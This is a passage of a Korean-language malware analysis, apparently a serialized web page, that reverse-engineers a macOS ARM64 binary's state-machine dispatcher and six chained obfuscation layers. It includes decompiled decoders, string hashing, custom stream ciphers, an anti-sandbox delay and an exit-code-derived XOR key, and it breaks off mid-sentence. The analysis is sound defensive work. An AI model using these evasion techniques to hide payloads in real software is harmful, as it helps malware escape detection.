여러 개의 “unreachable block” 경고를 기록했습니다. 이는 의도된 것입니다.",[528,1125,1126,1127,1130],{},"이 점프 테이블은 ",[771,1128,1129],{},"14개 상태로 이루어진 실행 머신","을 구동합니다. 각 상태는 복호화 및 실행 파이프라인의 개별적이고 독립된 단계 하나를 수행합니다. 상태 카운터는 각 단계 이후 갱신되며, 머신은 모든 상태를 거칠 때까지 실행됩니다.",[562,1132,1134],{"id":1133},"상태-디스패처의-arm64-디스어셈블리","상태 디스패처의 ARM64 디스어셈블리",[528,1136,568],{},[573,1138,1139],{"style":575},[577,1140,1144],{"className":1141,"code":1142,"language":1143,"meta":585,"style":585},"language-asm shiki shiki-themes github-light github-dark","10009f3fc:  stp xzr,xzr,[sp, #0x48]\n10009f41c:  mov w0,#0x37e\n10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n10009f428:  b.hi 0x10009fd44         ; exit if done\n10009f42c:  mov w8,w25               ; current state index\n10009f430:  adr x9,0x10009f440       ; base of jump table\n10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n10009f43c:  br x9                    ; indirect branch, CFG broken here\n","asm",[555,1145,1146,1151,1156,1161,1166,1172,1178,1184,1190,1196],{"__ignoreMap":585},[622,1147,1148],{"class":624,"line":625},[622,1149,1150],{},"10009f3fc:  stp xzr,xzr,[sp, #0x48]\n",[622,1152,1153],{"class":624,"line":631},[622,1154,1155],{},"10009f41c:  mov w0,#0x37e\n",[622,1157,1158],{"class":624,"line":849},[622,1159,1160],{},"10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n",[622,1162,1163],{"class":624,"line":866},[622,1164,1165],{},"10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n",[622,1167,1169],{"class":624,"line":1168},5,[622,1170,1171],{},"10009f428:  b.hi 0x10009fd44         ; exit if done\n",[622,1173,1175],{"class":624,"line":1174},6,[622,1176,1177],{},"10009f42c:  mov w8,w25               ; current state index\n",[622,1179,1181],{"class":624,"line":1180},7,[622,1182,1183],{},"10009f430:  adr x9,0x10009f440       ; base of jump table\n",[622,1185,1187],{"class":624,"line":1186},8,[622,1188,1189],{},"10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n",[622,1191,1193],{"class":624,"line":1192},9,[622,1194,1195],{},"10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n",[622,1197,1199],{"class":624,"line":1198},10,[622,1200,1201],{},"10009f43c:  br x9                    ; indirect branch, CFG broken here\n",[562,1203,1205],{"id":1204},"여섯-겹으로-쌓인-난독화-계층","여섯 겹으로 쌓인 난독화 계층",[528,1207,568],{},[528,1209,1210,1211,1214],{},"이 바이너리는 서로 다른 여섯 개의 난독화 계층을 사용하며, 이들은 각 계층의 출력이 다음 계층으로 입력되도록 쌓이고 연결되어 있습니다. 모든 페이로드, 모든 문자열, 모든 내부 상수가 인코딩되어 있습니다. ",[555,1212,1213],{},"__const"," 세그먼트에는 의미 있는 어떤 것도 평문으로 나타나지 않습니다. 이어지는 내용은 개별 ARM64 명령어 수준까지 Ghidra에서 직접 검증한 완전한 계층별 분석입니다. 사용된 각 기법은 개별적으로는 잘 알려진 것이지만, 여러 단계에 걸쳐 연결해 적용함으로써 정적·동적 분석을 상당히 어렵게 만드는, 서로 강하게 의존하는 실행 흐름이 만들어졌습니다.",[538,1216],{},[706,1218,1220],{"id":1219},"계층-1-컴파일-타임-트리플렛-인코딩","계층 1: 컴파일 타임 트리플렛 인코딩",[528,1222,712],{},[528,1224,1225,1226,1229],{},"바이너리 내의 어떤 문자열도 문자 시퀀스로 저장되어 있지 않고, 12바이트 산술 트리플렛의 시퀀스로 저장되어 있습니다. 각 트리플렛 ",[555,1227,1228],{},"(a, b, shift)","은 정확히 하나의 출력 문자를 인코딩합니다. 인코딩 방식은 컴파일 타임에 적용되므로, 어떤 문자열도 로드 시점에 일시적으로조차 바이너리 안에 평문으로 존재하지 않습니다.",[528,1231,1232,1233,1236,1237,1240,1241,1244,1245,1236,1248,1251,1252,1255],{},"두 개의 별도 디코더 함수가 서로 다른 문자열 크기를 처리합니다. ",[555,1234,1235],{},"0x100087c08","에 있는 ",[555,1238,1239],{},"FUN_100087c08","은 60자 문자열(",[555,1242,1243],{},"DAT_1006292cc","에서 가져온 720바이트 입력 데이터)을 디코딩합니다. ",[555,1246,1247],{},"0x10007ad80",[555,1249,1250],{},"FUN_10007ad80","은 56자 문자열(",[555,1253,1254],{},"DAT_10049708c","에서 가져온 672바이트)을 디코딩합니다. 둘 다 동일한 알고리즘을 사용합니다.",[573,1257,1258],{"style":575},[1042,1259,1260,1263,1265,1268,1058,1270,1063,1272,1275,1276,1278,1279,1281,1282,1284,1285,1288,1289],{},[622,1261,1262],{"style":1046},"// FUN_100087c08 @ 0x100087c08",[1049,1264],{},[622,1266,1267],{"style":1046},"// Triplet decoder, 60 chars, data from DAT_1006292cc",[622,1269,1057],{"style":1056},[622,1271,1239],{"style":1061},[622,1273,1274],{"style":1056},"long"," *param_1)\n{\n  ",[622,1277,1274],{"style":1056}," *plVar1;\n  ",[622,1280,1057],{"style":1056}," *pvVar2;\n  ",[622,1283,1274],{"style":1056}," lVar3;\n  ",[622,1286,1287],{"style":1056},"uint"," *puVar4;\n",[528,1290,1291,1292,1063,1295,1298,1299,1304,1307,1308,1298,1310,1313,1315,1318,1319,1322,1323,1298,1326,1329,1330,1332,1333,1096,1335,1337,1338,1341,1342,1345,1346,1348,1349,1352,1353,1356,1357,1096,1360,1362,1363,1366,1367,1370,1372,1375,1376,1096,1378,1380,1381,1383,1384,1386,1387,1392,1393,1396,1397,1402,1403,1406,1407,1409,1410,1415,1416,1418,1419,1421,1422,1425,1426,1429,1430,1298,1432,1435,1437,1440,1441,1112],{},"pvVar2 = ",[622,1293,1294],{"style":1061},"operator_new",[622,1296,1297],{"style":1082},"0x2d0","); ",[622,1300,1301,1302],{"style":1046},"// allocate 720 bytes (60 triplets × 12)",[1049,1303],{},[622,1305,1306],{"style":1061},"_memcpy","(pvVar2, &DAT_1006292cc, ",[622,1309,1297],{"style":1082},[622,1311,1312],{"style":1046},"// copy encoded triplets from __const",[1049,1314],{},[622,1316,1317],{"style":1061},"FUN_1000a0840","(param_1, ",[622,1320,1321],{"style":1082},"0x3c",", ",[622,1324,1325],{"style":1082},"0",[622,1327,1328],{"style":1046},"// init 60-char output buffer","\nlVar3 = ",[622,1331,1325],{"style":1082},";\npuVar4 = (",[622,1334,1287],{"style":1056},[622,1336,1274],{"style":1056},")pvVar2 + ",[622,1339,1340],{"style":1082},"8",");\n",[622,1343,1344],{"style":1056},"do"," {\nplVar1 = (",[622,1347,1274],{"style":1056}," _)_param_1;\n",[622,1350,1351],{"style":1056},"if"," (-",[622,1354,1355],{"style":1082},"1"," \u003C _(",[622,1358,1359],{"style":1056},"char",[622,1361,1274],{"style":1056},")param_1 + ",[622,1364,1365],{"style":1082},"0x17",")) {\nplVar1 = param_1;\n}\n",[622,1368,1369],{"style":1046},"// THE DECODE FORMULA, one character per triplet:",[1049,1371],{},[622,1373,1374],{"style":1046},"// char = ((b _ 3) XOR a) >> shift) - b","\n_(",[622,1377,1359],{"style":1056},[622,1379,1274],{"style":1056},")plVar1 + lVar3) =\n(",[622,1382,1359],{"style":1056},")((",[622,1385,1069],{"style":1056},")(puVar4",[622,1388,1389,1390],{},"-",[622,1391,1355],{"style":1082}," * ",[622,1394,1395],{"style":1082},"3"," ^ puVar4",[622,1398,1389,1399],{},[622,1400,1401],{"style":1082},"2",") >> (*puVar4 & ",[622,1404,1405],{"style":1082},"0x1f",")) - (",[622,1408,1359],{"style":1056},")puVar4",[622,1411,1412],{},[622,1413,1414],{"style":1082},"-1",";\nlVar3 = lVar3 + ",[622,1417,1355],{"style":1082},";\npuVar4 = puVar4 + ",[622,1420,1395],{"style":1082},"; ",[622,1423,1424],{"style":1046},"// advance 12 bytes — next triplet","\n} ",[622,1427,1428],{"style":1056},"while"," (lVar3 != ",[622,1431,1321],{"style":1082},[622,1433,1434],{"style":1046},"// loop exactly 60 times",[1049,1436],{},[622,1438,1439],{"style":1061},"operator_delete","(pvVar2);\n",[622,1442,1111],{"style":1056},[528,1444,1445],{},"다음은 대응하는 ARM64 어셈블리로, 각 명령어가 공식의 연산 하나에 직접 대응합니다:",[573,1447,1448],{"style":575},[577,1449,1452],{"className":1450,"code":1451,"language":582},[580],"100087c48:  add x9,x20,#0x8\n100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11\n100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b \u003C\u003C 1) = b * 3\n                                       ; (compiler avoids MUL instruction)\n100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a\n100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12\n100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved\n100087c60:  sub w10,w10,w11           ; subtract b — final decoded character\n100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer\n100087c78:  add x8,x8,#0x1\n100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60\n100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded\n",[555,1453,1451],{"__ignoreMap":585},[528,1455,1456,1457,1460,1461,1464],{},"주목할 점은 곱셈 ",[555,1458,1459],{},"b × 3","이 ",[555,1462,1463],{},"add w12, w11, w11, LSL #1","로, 즉 곱셈 명령어를 완전히 피하는 시프트 앤 애드(shift-and-add)로 구현되어 있다는 것입니다. 이는 고전적인 컴파일러 최적화이면서, 동시에 시그니처 매칭으로 코드를 찾아내기 어렵게 만듭니다.",[528,1466,1467],{},"전체 디코딩 공식:",[573,1469,1470],{"style":575},[577,1471,1474],{"className":1472,"code":1473,"language":582},[580],"char = ASR( (b × 3) XOR a, shift ) − b\n",[555,1475,1473],{"__ignoreMap":585},[528,1477,1478,1481,1482,1485,1486,1489],{},[555,1479,1480],{},"ASR","(산술 오른쪽 시프트)는 결정적으로 중요합니다. 부호 비트를 보존하기 때문입니다. ",[555,1483,1484],{},"(b×3) XOR a","의 중간 결과가 음수일 때, 이는 자주 일어나는데, 논리 시프트를 쓰면 전혀 다른 결과가 나옵니다. 이는 의도된 것입니다. 이 공식을 고급 프로그래밍 언어에서 ",[555,1487,1488],{},">>","로 다시 구현하는 사람은 부호 있는 산술을 명시적으로 고려하지 않는 한 조용히 잘못된 출력을 얻게 됩니다.",[528,1491,1492,1493,1495,1496,1499,1500,1502],{},"56자 변형인 ",[555,1494,1250],{},"은 구조적으로 동일하며, ",[555,1497,1498],{},"0x38","의 루프 한계로 ",[555,1501,1254],{},"를 대상으로 작동합니다. 두 함수 모두 이번 분석 중 Ghidra에서 실시간으로 확인했습니다.",[538,1504],{},[706,1506,1508],{"id":1507},"계층-2-헥스-문자열-인코딩","계층 2: 헥스 문자열 인코딩",[528,1510,712],{},[528,1512,1513,1514,1517,1518,1521,1522,1525,1526,1529],{},"계층 1이 생성한 원시 바이트는 그 자체가 이진 데이터가 아니라 ASCII 헥스 문자입니다. 계층 1 트리플렛 디코드의 출력은 헥스 쌍으로 이루어진 문자열입니다: ",[555,1515,1516],{},"32694e5462...",". 이는 ",[555,1519,1520],{},"0x100000dc0","에 있는 디코더 함수 ",[555,1523,1524],{},"FUN_100000dc0","에서 확인되며, 이 함수는 ",[555,1527,1528],{},"DAT_1007bb591","에 있는 룩업 테이블을 통한 헥스 디코드를 구현합니다.",[528,1531,1532,1533,1389,1536,1322,1539,1389,1542,1322,1545,1389,1548,1551],{},"Ghidra 디컴파일 결과는 각 헥스 문자(",[555,1534,1535],{},"0x30",[555,1537,1538],{},"0x39",[555,1540,1541],{},"0x41",[555,1543,1544],{},"0x46",[555,1546,1547],{},"0x61",[555,1549,1550],{},"0x66",")를 해당 니블(nibble) 값으로 매핑하고 출력 바이트를 한 번에 두 문자씩 조립하는 switch 문을 보여줍니다:",[573,1553,1554],{"style":575},[1042,1555,1556,1559,1562,1565,1566,1569,1570,1572,1573,1058,1576,1578,1579,1582,1583,939,1586,1058,1588,1591,1592,1421,1595,1597,1598,939,1601,1058,1603,1591,1606,1421,1609,1597,1611,939,1614,939,1617,1058,1619,1578,1621,1058,1623,1591,1625,1421,1628,1630,1631,939,1634,1058,1636,1578,1639,1058,1641,1591,1644,1421,1647,1630,1649,939,1652,1058,1654,1578,1657,1058,1659,1662,1663,1421,1666,1630,1668,939,1671,1058,1673,1578,1676,1058,1678,1681,1682,1421,1685,1630,1687,939,1690,1058,1692,1578,1695,1058,1697,1591,1700,1421,1703,1630,1705,939,1708,1058,1710,1578,1712,1058,1714,1591,1716,1421,1719,1630,1721,1724,1725,1728,1729,1569,1732,1734,1735,1737,1738,1741],{},[622,1557,1558],{"style":1046},"// FUN_100000dc0 @ 0x100000dc0",[622,1560,1561],{"style":1046},"// Hex decoder, processes input two characters per output byte",[622,1563,1564],{"style":1056},"switch","(*(",[622,1567,1568],{"style":1056},"undefined1"," *)((",[622,1571,1274],{"style":1056},")plVar2 + lVar7)) {\n  ",[622,1574,1575],{"style":1056},"case",[622,1577,1535],{"style":1082},": ",[622,1580,1581],{"style":1056},"break",";                  ",[622,1584,1585],{"style":1046},"// '0' → 0x00",[622,1587,1575],{"style":1056},[622,1589,1590],{"style":1082},"0x31",": bVar9 = ",[622,1593,1594],{"style":1082},"0x10",[622,1596,1581],{"style":1056},";   ",[622,1599,1600],{"style":1046},"// '1' → 0x10",[622,1602,1575],{"style":1056},[622,1604,1605],{"style":1082},"0x32",[622,1607,1608],{"style":1082},"0x20",[622,1610,1581],{"style":1056},[622,1612,1613],{"style":1046},"// '2' → 0x20",[622,1615,1616],{"style":1046},"// ... '3' through '9' ...",[622,1618,1575],{"style":1056},[622,1620,1541],{"style":1082},[622,1622,1575],{"style":1056},[622,1624,1547],{"style":1082},[622,1626,1627],{"style":1082},"0xa0",[622,1629,1581],{"style":1056},";  ",[622,1632,1633],{"style":1046},"// 'A'/'a' → 0xa0",[622,1635,1575],{"style":1056},[622,1637,1638],{"style":1082},"0x42",[622,1640,1575],{"style":1056},[622,1642,1643],{"style":1082},"0x62",[622,1645,1646],{"style":1082},"0xb0",[622,1648,1581],{"style":1056},[622,1650,1651],{"style":1046},"// 'B'/'b' → 0xb0",[622,1653,1575],{"style":1056},[622,1655,1656],{"style":1082},"0x43",[622,1658,1575],{"style":1056},[622,1660,1661],{"style":1082},"99",":   bVar9 = ",[622,1664,1665],{"style":1082},"0xc0",[622,1667,1581],{"style":1056},[622,1669,1670],{"style":1046},"// 'C'/'c' → 0xc0",[622,1672,1575],{"style":1056},[622,1674,1675],{"style":1082},"0x44",[622,1677,1575],{"style":1056},[622,1679,1680],{"style":1082},"100",":  bVar9 = ",[622,1683,1684],{"style":1082},"0xd0",[622,1686,1581],{"style":1056},[622,1688,1689],{"style":1046},"// 'D'/'d' → 0xd0",[622,1691,1575],{"style":1056},[622,1693,1694],{"style":1082},"0x45",[622,1696,1575],{"style":1056},[622,1698,1699],{"style":1082},"0x65",[622,1701,1702],{"style":1082},"0xe0",[622,1704,1581],{"style":1056},[622,1706,1707],{"style":1046},"// 'E'/'e' → 0xe0",[622,1709,1575],{"style":1056},[622,1711,1544],{"style":1082},[622,1713,1575],{"style":1056},[622,1715,1550],{"style":1082},[622,1717,1718],{"style":1082},"0xf0",[622,1720,1581],{"style":1056},[622,1722,1723],{"style":1046},"// 'F'/'f' → 0xf0","\n}\n",[622,1726,1727],{"style":1046},"// Second nibble from lookup table at DAT_1007bb591","\n*(",[622,1730,1731],{"style":1056},"byte",[622,1733,1274],{"style":1056},")pppppppuVar3 + uVar8) =\n    (&DAT_1007bb591)[(",[622,1736,1099],{"style":1056},")uVar4 & ",[622,1739,1740],{"style":1082},"0xff","] | bVar9;\n",[528,1743,1744],{},"ARM64 어셈블리는 이를 보조 계산 분기 테이블로 구동하며, 사실상 switch를 위한 55개 항목의 점프 테이블을 구현합니다:",[573,1746,1747],{"style":575},[577,1748,1751],{"className":1749,"code":1750,"language":582},[580],"100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table\n100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char\n100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address\n100000e68:  br x17                   ; jump — second computed branch in 24 bytes\n",[555,1752,1750],{"__ignoreMap":585},[528,1754,1755],{},"24바이트 구간 안에 두 개의 계산된 분기가 있습니다. 두 분기 목표 모두 분석 시점에 알 수 없기 때문에, 정적 분석 도구는 이 패턴을 제대로 처리하지 못합니다.",[528,1757,1758],{},"137,208자 길이의 헥스 문자열은 디코딩 후 68,604바이트가 되며, 이는 계층 3으로 입력됩니다.",[538,1760],{},[706,1762,1764],{"id":1763},"계층-3-사용자-정의-16심볼-니블-알파벳","계층 3: 사용자 정의 16심볼 니블 알파벳",[528,1766,712],{},[528,1768,1769],{},"계층 2에서 나온 68,604개의 출력 바이트는 서로 떨어진 두 개의 ASCII 구간에서 나온 16개의 고유한 바이트 값만 사용합니다:",[1771,1772,1773,1823],"ul",{},[1774,1775,1776,1779,1780,1322,1783,1322,1786,1322,1789,1322,1792,1322,1795,1322,1798,1322,1801,1322,1803,1322,1806,1322,1809,1322,1812,1322,1815,1322,1817,1322,1820],"li",{},[555,1777,1778],{},"0x20-0x2F",": 공백, ",[555,1781,1782],{},"!",[555,1784,1785],{},"\"",[555,1787,1788],{},"#",[555,1790,1791],{},"$",[555,1793,1794],{},"%",[555,1796,1797],{},"&",[555,1799,1800],{},"'",[555,1802,1063],{},[555,1804,1805],{},")",[555,1807,1808],{},"*",[555,1810,1811],{},"+",[555,1813,1814],{},",",[555,1816,1389],{},[555,1818,1819],{},".",[555,1821,1822],{},"/",[1774,1824,1825,1578,1828,1322,1831,1322,1834,1322,1837,1322,1840,1322,1843,1322,1846,1849],{},[555,1826,1827],{},"0x78-0x7F",[555,1829,1830],{},"x",[555,1832,1833],{},"y",[555,1835,1836],{},"z",[555,1838,1839],{},"{",[555,1841,1842],{},"|",[555,1844,1845],{},"}",[555,1847,1848],{},"~",", DEL",[528,1851,1852],{},"이는 의도적인 설계 결정입니다. 헥스 편집기에서 이 바이트들은 공백, 문장 부호, ASCII 경계 문자처럼 보이며, 메타데이터나 패딩처럼 여겨지는 잡음 속에 묻힙니다. 헥스 덤프를 훑어보는 분석가는 이 바이트 구간을 의심스러운 것으로 표시하지 않으며, 바이트 분포가 무작위로 보이지 않기 때문에 표준 엔트로피 분석은 실제 엔트로피를 과소평가합니다.",[528,1854,1855,1856,1859,1860,1863,1864,1867,1868,1871],{},"이 알파벳의 각 바이트는 실제 페이로드의 니블 하나를 인코딩합니다. 알파벳-니블 매핑은 우리가 ",[555,1857,1858],{},"0x100000d60","에서 확인한 인코드/디코드 함수 ",[555,1861,1862],{},"FUN_100000d60","이 적용합니다. 이 함수는 두 개의 하위 함수를 연결합니다. ",[555,1865,1866],{},"FUN_100000b50","은 입력 문자열의 문자들에 대한 인덱싱된 맵을 만들고, ",[555,1869,1870],{},"FUN_100000c34","는 이 맵을 순회하며 단계마다 6비트를 소비하고 출력 바이트를 8비트씩 누적합니다:",[573,1873,1874],{"style":575},[1042,1875,1876,1879,1880,1882,1883,1885,1886,1888,1889,1892,1893,939,1896,1898,1899,1901,1902,943,1905,1907,1908,1911,1912,1914,1915,943,1918,1920,1921,1924,1925,1928,1929,1931,1932,1935,1936,1938,1939,1569,1942,1944,1945,1947,1948,1950],{},[622,1877,1878],{"style":1046},"// FUN_100000c34 @ 0x100000c34, nibble accumulator","\niVar5 = ",[622,1881,1325],{"style":1082},";\n",[622,1884,1344],{"style":1056}," {\n  local_52 = *(",[622,1887,1568],{"style":1056}," *)puVar4;\n  lVar3 = ",[622,1890,1891],{"style":1061},"FUN_1000a078c","(param_3, &local_52);  ",[622,1894,1895],{"style":1046},"// look up nibble value",[622,1897,1351],{"style":1056}," (lVar3 == ",[622,1900,1325],{"style":1082},") {\n    ",[622,1903,1904],{"style":1046},"// character not in alphabet, treat as raw",[622,1906,1891],{"style":1061},"(param_3, &local_51);\n  } ",[622,1909,1910],{"style":1056},"else"," {\n    iVar5 = iVar5 + ",[622,1913,1103],{"style":1082},";           ",[622,1916,1917],{"style":1046},"// accumulate 4 bits",[622,1919,1428],{"style":1056}," (",[622,1922,1923],{"style":1082},"7"," \u003C iVar5) {\n      std::string::",[622,1926,1927],{"style":1061},"push_back","((",[622,1930,1359],{"style":1056},")param_1);  ",[622,1933,1934],{"style":1046},"// emit byte when 8+ bits ready","\n      iVar5 = iVar5 + -",[622,1937,1340],{"style":1082},";\n    }\n  }\n  puVar4 = (",[622,1940,1941],{"style":1056},"undefined8",[622,1943,1274],{"style":1056},")puVar4 + ",[622,1946,1355],{"style":1082},");\n} ",[622,1949,1428],{"style":1056}," (puVar4 != puVar1);\n",[528,1952,1953],{},"이 과정에서 나온 34,302바이트는 99.7%가 인쇄 가능한 ASCII입니다. 언뜻 훑어보면 이 단계의 페이로드는 커다란 셸 스크립트나 설정 blob처럼 보입니다.",[538,1955],{},[706,1957,1959],{"id":1958},"계층-4-컴파일-타임-문자열-난독화","계층 4: 컴파일 타임 문자열 난독화",[528,1961,712],{},[528,1963,1964],{},"내부적으로 사용되는 문자열은 계층 1과 동일한 트리플렛 방식으로 컴파일 타임에 난독화되고, 실행 시점에 사용 직전에야 재구성됩니다. 메모리에는 필요 이상으로 오래 머물지 않으며, 버퍼는 사용 후 즉시 해제됩니다. 바이너리의 정적 데이터 섹션에는 어느 시점에도 디코딩된 문자열이 보이지 않습니다.",[528,1966,1967,1968,1971],{},"문자열 해시 함수 ",[555,1969,1970],{},"FUN_100000730","은 문자열 비교를 위한 2차 난독화 계층을 제공합니다. 문자열을 직접 비교하면 메모리에 평문이 남게 되므로, 바이너리는 대신 정수 해시를 계산해 비교합니다:",[573,1973,1974],{"style":575},[1042,1975,1976,1979,1982,1058,1984,1063,1986,1275,1988,1990,1991,1994,1995,939,1998,939,2001,2004,2005,2007,2008,2010,2011,2013,2014,1630,2017,2020,2021,2023,2024,2026],{},[622,1977,1978],{"style":1046},"// FUN_100000730 @ 0x100000730",[622,1980,1981],{"style":1046},"// FNV-style string hash, avoids plaintext string comparisons",[622,1983,1069],{"style":1056},[622,1985,1970],{"style":1061},[622,1987,1359],{"style":1056},[622,1989,1069],{"style":1056}," iVar4 = ",[622,1992,1993],{"style":1082},"0x19a8",";    ",[622,1996,1997],{"style":1046},"// FNV offset basis (modified)",[622,1999,2000],{"style":1046},"// ...",[622,2002,2003],{"style":1056},"for"," (; uVar3 != ",[622,2006,1325],{"style":1082},"; uVar3 = uVar3 - ",[622,2009,1355],{"style":1082},") {\n    iVar4 = (",[622,2012,1069],{"style":1056},")*pcVar1 + iVar4 * -",[622,2015,2016],{"style":1082},"0x7fb91be3",[622,2018,2019],{"style":1046},"// FNV-1a style multiply","\n    pcVar1 = pcVar1 + ",[622,2022,1355],{"style":1082},";\n  }\n  ",[622,2025,1111],{"style":1056}," iVar4;\n}\n",[528,2028,2029],{},"ARM64 어셈블리는 곱셈을 fused multiply-add로 대체합니다:",[573,2031,2032],{"style":575},[577,2033,2036],{"className":2034,"code":2035,"language":582},[580],"100000744:  mov w0,#0x19a8            ; FNV basis\n100000750:  mov w10,#0xe41d\n100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3\n100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment\n10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char\n100000760:  subs x9,x9,#0x1\n100000764:  b.ne 0x100000758\n",[555,2037,2035],{"__ignoreMap":585},[528,2039,2040],{},"이는 바이너리 내부에서 두 문자열을 비교하더라도 디버거가 문자열 수준에서 깔끔하게 잡아낼 수 있는 분기가 생기지 않고, 오직 해시 수준의 분기만 생긴다는 뜻입니다.",[538,2042],{},[706,2044,2046],{"id":2045},"계층-5-이중-커스텀-스트림-암호-인스턴스","계층 5: 이중 커스텀 스트림 암호 인스턴스",[528,2048,712],{},[528,2050,2051,2052,2055],{},"이 지점에서 난독화 아키텍처는 이례적인 양상을 띱니다. 바이너리에서는 하나가 아니라 ",[771,2053,2054],{},"두 개의 별도 암호 인스턴스","가 실행되며, 각각 서로 다른 하드코딩된 룩업 테이블과 서로 다른 시작 카운터를 가집니다. 둘은 동일한 알고리즘 구조를 사용하지만, 페이로드 파이프라인의 서로 다른 부분을 위해 서로 다른 출력 알파벳을 생성합니다.",[528,2057,2058,1322,2061,1236,2064,2067],{},[771,2059,2060],{},"인스턴스 A",[555,2062,2063],{},"0x10007ab34",[555,2065,2066],{},"FUN_10007ab34",":",[573,2069,2070],{"style":575},[1042,2071,2072,2075,2076,1882,2079,2081,2082,1569,2084,2086,2087,2089,2090,1569,2092,2094,2095,2097,2098,1569,2100,2102,2103,2105,2106,2109,2110,2112,2113,2115],{},[622,2073,2074],{"style":1046},"// Instance A, start counter 0x4c, table @ 0x100496f8b","\nuVar6 = ",[622,2077,2078],{"style":1082},"0x4c",[622,2080,1344],{"style":1056}," {\n  bVar2 = *(",[622,2083,1731],{"style":1056},[622,2085,1274],{"style":1056},")local_e0 +\n          ((",[622,2088,1099],{"style":1056},")(*(",[622,2091,1731],{"style":1056},[622,2093,1274],{"style":1056},")local_c8 + uVar5) ^ uVar6) & ",[622,2096,1740],{"style":1082},"));\n  *(",[622,2099,1731],{"style":1056},[622,2101,1274],{"style":1056},")plVar1 + uVar5) = bVar2;\n  uVar6 = (",[622,2104,1069],{"style":1056},")uVar5 + (uVar6 ^ bVar2);  ",[622,2107,2108],{"style":1046},"// counter: i + (counter XOR output)","\n  uVar5 = uVar5 + ",[622,2111,1355],{"style":1082},";\n} ",[622,2114,1428],{"style":1056}," (uVar7 != uVar5);\n",[528,2117,2118,1322,2121,1236,2124,2067],{},[771,2119,2120],{},"인스턴스 B",[555,2122,2123],{},"0x10007a7e0",[555,2125,2126],{},"FUN_10007a7e0",[573,2128,2129],{"style":575},[1042,2130,2131,2075,2134,1882,2137,2081,2139,1569,2141,2143,2144,2089,2146,1569,2148,2150,2151,2097,2153,1569,2155,2102,2157,2105,2159,2109,2162,2112,2164,2115],{},[622,2132,2133],{"style":1046},"// Instance B, start counter 0x9f, different table @ 0x100496e0a region",[622,2135,2136],{"style":1082},"0x9f",[622,2138,1344],{"style":1056},[622,2140,1731],{"style":1056},[622,2142,1274],{"style":1056},")local_c0 +\n          ((",[622,2145,1099],{"style":1056},[622,2147,1731],{"style":1056},[622,2149,1274],{"style":1056},")local_a8 + uVar5) ^ uVar6) & ",[622,2152,1740],{"style":1082},[622,2154,1731],{"style":1056},[622,2156,1274],{"style":1056},[622,2158,1069],{"style":1056},[622,2160,2161],{"style":1046},"// identical counter update formula",[622,2163,1355],{"style":1082},[622,2165,1428],{"style":1056},[528,2167,2168,2169,2171,2172,2174],{},"알고리즘은 구조적으로 동일하지만 시작 카운터가 다르고(",[555,2170,2078],{}," 대 ",[555,2173,2136],{},") 룩업 테이블도 서로 다른 메모리 주소에 위치합니다. 인스턴스 A는 첫 번째 페이로드 경로를 위한 인코딩 알파벳을 생성하기 위해 상태 머신의 상태 11에서 호출됩니다. 인스턴스 B는 커다란 셸 스크립트 페이로드의 디코드를 위한 알파벳을 생성하기 위해 상태 6에서 호출됩니다.",[528,2176,2177,2178,2181,2182,2185,2186,2189],{},"정확히 말하면 이것은 ",[771,2179,2180],{},"카운터 의존적 인덱스를 갖는 치환 암호","입니다. 각 출력 바이트는 인덱스가 ",[555,2183,2184],{},"(input_byte XOR counter) & 0xFF","인 테이블 룩업입니다. 카운터는 각 바이트 이후 ",[555,2187,2188],{},"counter = (i + (counter XOR output)) & 0xFF","로 갱신되며, 이는 각 출력 바이트가 다음 룩업 인덱스의 결정에 영향을 준다는 뜻입니다. 이로써 전체 출력 시퀀스에 걸친 의존성 체인이 만들어집니다. 바이트 N은 바이트 0부터 N-1까지를 올바르게 복호화하지 않으면 복호화할 수 없습니다. 이 때문에 부분 복호화나 오류 분석이 상당히 어려워집니다.",[528,2191,2192],{},"두 인스턴스 모두 표준 RC4가 아닙니다. S-박스 초기화 단계도, S-박스 교환(swap) 연산도 없습니다. 룩업 테이블은 컴파일 타임에 내장된 정적 상수입니다.",[538,2194],{},[706,2196,2198],{"id":2197},"계층-6-종료-코드에-의존하는-키를-사용하는-런타임-xor","계층 6: 종료 코드에 의존하는 키를 사용하는 런타임 XOR",[528,2200,712],{},[528,2202,2203,2204,2207],{},"마지막이자 분석적으로 가장 까다로운 계층은 2단계 페이로드에 in-place XOR 변환을 적용합니다. XOR 키는 하드코딩되어 있지 않고 ",[771,2205,2206],{},"첫 번째 셸 페이로드 실행","의 종료 코드에서 실행 시점에 유도되므로, 원리상 정적 분석으로는 결정할 수 없습니다. 키가 존재하려면 바이너리가 실제로 실행되어 첫 번째 셸 스크립트가 끝까지 돌아야 합니다.",[528,2209,2210],{},"ARM64 상태 머신 디스패처 내의 키 유도 시퀀스:",[573,2212,2213],{"style":575},[577,2214,2217],{"className":2215,"code":2216,"language":582},[580],"; After shell_exec_via_pipe #1 returns, exit code is in w0\n10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status\n10009f83c:  mov w9,#0x7f0             ; multiplier constant\n10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter\n10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24\n",[555,2218,2216],{"__ignoreMap":585},[528,2220,2221],{},"2단계 페이로드를 처리하는 XOR 